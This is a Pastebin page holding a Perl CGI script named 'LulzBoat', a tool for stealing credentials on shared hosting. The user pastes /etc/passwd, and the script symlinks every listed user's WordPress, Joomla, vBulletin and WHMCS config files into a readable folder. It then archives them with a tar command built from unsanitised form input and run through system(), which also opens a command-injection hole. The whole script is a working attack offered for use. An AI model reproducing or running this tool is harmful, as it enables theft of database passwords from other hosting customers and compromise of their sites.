Advertisement
Guest User

file pwnz.cc by Nabilaholic404 - Nginx1337

a guest
Jun 5th, 2014
1,495
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. print "Content-type: text/html\n\n";
  3. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  4. <html xmlns="http://www.w3.org/1999/xhtml">
  5. <head>
  6. <meta http-equiv="Content-Language" content="en-us" />
  7. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  8. <title>LulzBoat</title>
  9. <link rel="shortcut icon" href="#"/>
  10. <style type="text/css">
  11. body {
  12. background-color: #000000;
  13. background-image: url(#);
  14. }
  15. .newStyle1 {
  16. font-family: Tahoma;
  17. font-size: x-small;
  18. font-weight: bold;
  19. color: #59E817;
  20. text-align: center;
  21. }
  22. </style>
  23. </head>
  24. ';
  25. sub lil{
  26. ($user) = @_;
  27. $msr = qx{pwd};
  28. $kola=$msr."/".$user;
  29. $kola=~s/\n//g;
  30. symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'-vb.txt');
  31. symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'-includes-vb.txt');
  32. symlink('/home/'.$user.'/public_html/config.php',$kola.'2.txt');
  33. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'3.txt');
  34. symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'5.txt');
  35. symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'4.txt');
  36. symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'-wp23.txt');
  37. symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'-wpblog.txt');
  38. symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'6.txt');
  39. symlink('/home/'.$user.'/public_html/include/db.php',$kola.'7.txt');
  40. symlink('/home/'.$user.'/public_html/connect.php',$kola.'8.txt');
  41. symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'9.txt');
  42. symlink('/home/'.$user.'/public_html/configuration.php',$kola.'-joom.txt');
  43. symlink('/home/'.$user.'/public_html/include/config.php',$kola.'12.txt');
  44. symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'-joomla.txt');
  45. symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'-whm15.txt');
  46. symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'-whmc16.txt');
  47. symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'-support.txt');
  48.  
  49.  
  50. }
  51. if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  52. read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  53. } else {
  54. $buffer = $ENV{'QUERY_STRING'};
  55. }
  56. @pairs = split(/&/, $buffer);
  57. foreach $pair (@pairs) {
  58. ($name, $value) = split(/=/, $pair);
  59. $name =~ tr/+/ /;
  60. $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  61. $value =~ tr/+/ /;
  62. $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  63. $FORM{$name} = $value;
  64. }
  65. if ($FORM{pass} eq ""){
  66. print '
  67. <body class="newStyle1" bgcolor="#000000">
  68. <p>Lulz/../../../</p>
  69. <p><font color="#C0C0C0">[</font>recoded by<font color="#FF0000"> nginx1337</font><font color="#C0C0C0">]</font>
  70. <form method="post">
  71. <textarea name="pass" style="border:1px dotted #FF0000; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#FF0000" ></textarea></p>
  72. <p align="center">
  73. <input name="tar" type="text" style="border:1px dotted #FF0000; width: 212px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#FF0000; " /></p>
  74. <p align="center">
  75. <input name="Submit1" type="submit" value="GET CONFIG !" style="border:1px dotted #FF0000; width: 99; font-family:Tahoma; font-size:10pt; color:#59E817; text-transform:uppercase; height:23; background-color:#0C0C0C" /></p>
  76. </form>';
  77. }else{
  78. @lines =<$FORM{pass}>;
  79. $y = @lines;
  80. open (MYFILE, ">tar.tmp");
  81. print MYFILE "tar -czf ".$FORM{tar}.".tar ";
  82. for ($ka=0;$ka<$y;$ka++){
  83. while(@lines[$ka] =~ m/(.*?):x:/g){
  84. &lil($1);
  85. print MYFILE $1.".txt ";
  86. for($kd=1;$kd<18;$kd++){
  87. print MYFILE $1.$kd.".txt ";
  88. }
  89. }
  90. }
  91. print'<body class="newStyle1" bgcolor="#000000">
  92. <p>You got it!!<br><br><br><font color="#C0C0C0">[</font>recoded by <font color="#FF0000">Nginx1337</font><font color="#C0C0C0">]</font></p>
  93. <p>&nbsp;</p>';
  94. if($FORM{tar} ne ""){
  95. open(INFO, "tar.tmp");
  96. @lines =<INFO> ;
  97. close(INFO);
  98. system(@lines);
  99. print'<p><a href="'.$FORM{tar}.'.tar"><font color="#00FF00">
  100. <span style="text-decoration: none">Hit Me To Download Tar File</span></font></a></p>';
  101. }
  102. }
  103. print"
  104. </body>
  105. </html>";
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement